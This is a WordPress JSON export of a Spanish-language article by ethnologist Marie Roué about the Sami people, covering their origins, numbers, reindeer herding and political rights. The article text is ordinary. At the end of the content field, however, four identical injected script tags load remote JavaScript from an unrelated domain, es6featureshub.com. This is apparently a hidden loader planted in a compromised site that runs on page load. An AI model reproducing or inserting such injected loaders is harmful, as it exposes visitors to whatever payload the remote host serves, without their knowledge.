{"id":66727,"date":"2015-09-04T22:25:05","date_gmt":"2015-09-04T20:25:05","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66727"},"modified":"2025-10-21T21:59:45","modified_gmt":"2025-10-21T19:59:45","slug":"los-samis-un-pueblo-ejemplar-gracias-a-su-capacidad-para-combinar-tradicion-y-modernidad","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/los-samis-un-pueblo-ejemplar-gracias-a-su-capacidad-para-combinar-tradicion-y-modernidad\/","title":{"rendered":"Los samis: Un pueblo ejemplar, gracias a su capacidad para combinar tradici\u00f3n y modernidad"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Marie Rou\u00e9 el December 18, 2011<\/span><br \/>\n&nbsp;<br \/>\n<img decoding=\"async\" class=\" size-full wp-image-2549 alignleft\" title=\"Marie Rou\u00e9\"  src=\"\/wp-content\/uploads\/marie-roue.jpg\" alt=\"Marie Rou\u00e9\" width=\"216\" height=\"auto\" \/><br \/>\n<em>Por Marie Rou\u00e9, etn\u00f3loga, directora de investigaci\u00f3n en el CNRS (Centro nacional de investigaciones cient\u00edficas) \/ Museo de historia natural. Especialista en los pueblos \u00e1rticos, conoce y estudia a los samis desde 1969.<\/em><\/p>\n<p>Los samis viven en un territorio que llaman Sapmi (Laponia) y que se extiende a lo largo de 4 pa\u00edses: Noruega, Suecia, Finlandia y Rusia. A pesar de las fronteras y de las legislaciones diferentes de cada pa\u00eds, los samis han sabido conservar un fuerte unidad, tanto ling\u00fc\u00edstica como cultural.<br \/>\n&nbsp;<br \/>\n<strong>Los or\u00edgenes<\/strong><\/p>\n<p>Los primeros indicios de vida encontrados por los arque\u00f3logos en esta regi\u00f3n pertenecen a los ancestros de los samis. Se trata de los vestigios de un campamento pr\u00f3ximo al mar situado en la isla de S\u00f8r\u00f8ya en Noruega, que datan de entre 11 000 y 8 000 a\u00f1os A.C.<\/p>\n<p>Se encontraron a continuaci\u00f3n pruebas arqueol\u00f3gicas que demostraban que grupos de cazadores-pescadores samis se aventuraron hacia el interior de la Laponia sueca: en aquella \u00e9poca ya cazaban renos salvajes y alces. El clima era por aquellos entonces m\u00e1s c\u00e1lido que en la actualidad, con unos inviernos m\u00e1s suaves y unos veranos h\u00famedos.<\/p>\n<p>A partir del s.XVII, la colonizaci\u00f3n y la cristianizaci\u00f3n adquirieron una mayor importancia e incluso se intent\u00f3 mediante el m\u00e9todo fuerte convencer a los samis para que abandonaran su religi\u00f3n tradicional, el chamanismo. Se lleg\u00f3 incluso a quemar a los chamanes con sus tambores. Una parte de las creencias de sus ancestros sigue sin embargo viva, aunque no sea muy evidente al haberse mezclado con otras religiones y culturas.<br \/>\n&nbsp;<br \/>\n<strong>\u00bfCu\u00e1ntos son hoy?<\/strong><\/p>\n<p>Es dif\u00edcil determinar el n\u00famero de samis, ya que en cada pa\u00eds los criterios son diferentes. Un sami es el que se declara como tal, o el que habla sami, o el que tiene al menos a su padre, su madre o sus abuelos que hablan sami.<\/p>\n<p>Se puede as\u00ed estimar que hay alrededor de 70 000 samis, de los cuales 2000 vivir\u00edan en Rusia, 6000 en Finlandia, 40 000 en Noruega y 20 000 en Suecia.<br \/>\n&nbsp;<br \/>\n<strong>Un pueblo de criadores de renos: \u00bfMito o realidad? <\/strong><\/p>\n<p>Originariamente, los samis eran cazadores-pescadores-recolectores. La crianza no se desarroll\u00f3 hasta el s.XVIIm debido a la disminuci\u00f3n del n\u00famero de animales salvajes provocada por la colonizaci\u00f3n escandinava.<\/p>\n<p>En la actualidad, los criadores de renos son una minor\u00eda: en Suecia, por ejemplo, son s\u00f3lo 2000, o sea alrededor del 10% de los samis.<\/p>\n<p>En lo que respecta al resto, muchos han emigrado hacia las grandes ciudades del sur para realizar trabajos m\u00e1s \u201ccl\u00e1sicos\u201d y otros han retomado su actividad de pescadores tradicionales, a pesar de la importante competencia de la pesca industrial.<\/p>\n<p>Y es que son muchas las dificultades a las que se enfrentan los criadores. La explotaci\u00f3n de la riqueza minera de su territorio y el desarrollo de la industria forestal amenazan los pastos de liquen de los que dependen los renos durante nueve meses al a\u00f1o.<br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Rennes\" src=\"\/wp-content\/uploads\/rennes-s.jpg\" alt=\"Rennes\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">&nbsp;<\/p><\/div><br \/>\n&nbsp;<br \/>\n<strong>Avances pol\u00edticos<\/strong><\/p>\n<p>Los samis siguen defendiendo sus derechos pol\u00edticos y territoriales, que se van reconociendo progresivamente.<\/p>\n<p>Ya tienen un parlamento en Suecia y Noruega. En Suecia, este parlamento ten\u00eda en origen muy pocos derechos: su acci\u00f3n estaba restringida al campo de la cultura y no pod\u00eda intervenir sobre cuestiones econ\u00f3micas. La crianza del reno depend\u00eda del Ministerio de agricultura, o sea del Estado sueco.<\/p>\n<p>Hoy en d\u00eda, el parlamento sami avanza cada vez m\u00e1s hacia un papel socio-econ\u00f3mico: se ocupa en especial de la crianza y de las relaciones con el Gobierno cuando llega un a\u00f1o cr\u00edtico que requiere de la ayuda del Estado.<\/p>\n<p>Cuestiones importantes como la de los animales de presa tambi\u00e9n son de su incumbencia: el lobo, el \u00e1guila, el lince, el glot\u00f3n, etc. son especies protegidas que se nutren de los renos. La cuesti\u00f3n que aqu\u00ed se plantea es saber si el pa\u00eds de los samis puede servir de despensa de toda la vida salvaje que Suecia y el mundo en general quieren conservar, a sabiendas de que lo ser\u00eda en detrimento de los criadores de renos.<br \/>\n&nbsp;<br \/>\n<strong>Un pueblo muy arraigado a su modo de vida y cultura <\/strong><\/p>\n<p>El arraigo de los samis a su cultura es notable. Perpet\u00faan su relaci\u00f3n con este paisaje, este pa\u00eds, este modo de vida a pesar de las dificultades materiales y econ\u00f3micas. Saben que si abandonan, su linaje se perder\u00e1 y sus hijos y nietos no podr\u00e1n retomar la crianza. As\u00ed que contin\u00faan por ellos mismos, pero tambi\u00e9n para transmitir su cultura.<\/p>\n<p>Miran con humor la complejidad de su situaci\u00f3n. Uno de mis amigos de las monta\u00f1as suecas me dijo riendo: \u201cComo ya no queda gran cosa que hacer este verano, voy a irme de vacaciones para trabajar como pe\u00f3n en Noruega porque all\u00ed se gana m\u00e1s, y, con ese dinero, podr\u00e9 continuar con la crianza a mi vuelta.\u201d<\/p>\n<p>Conf\u00edan en su capacidad de adaptaci\u00f3n, incluso a los cambios clim\u00e1ticos, pero se preguntan: \u201cEl nomadismo ha sido de siempre nuestro modo de vida: si no quedan recursos aqu\u00ed, vamos a otro lugar. Pero cuando haya un aeropuerto en tal sitio, una ciudad en tal otro y bosques protegidos en otro, \u00bfC\u00f3mo podremos continuar?\u201d<\/p>\n<p>En la actualidad, los samis se encuentran en una encrucijada sobre las cuestiones mayores de nuestra \u00e9poca: \u00bfC\u00f3mo ser moderno conservando la tradici\u00f3n, c\u00f3mo seguir siendo uno mismo sin caer en el folklore? Desarrollan estrategias que les permiten responder a estas cuestiones, y podemos decir que son un pueblo bastante ejemplar por el valor que muestran al enfrentarse a todos los retos que les impone la modernidad.<br \/>\n\u25ca<\/p>\n<p>Leer la ficha descriptiva de <a href=\"https:\/\/www.sorosoro.org\/es\/las-lenguas-sames\/\" target=\"_blank\">las lenguas sames<\/a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Marie Rou\u00e9 el December 18, 2011 &nbsp; Por Marie Rou\u00e9, etn\u00f3loga, directora de investigaci\u00f3n en el CNRS (Centro nacional de investigaciones cient\u00edficas) \/ Museo de historia natural. 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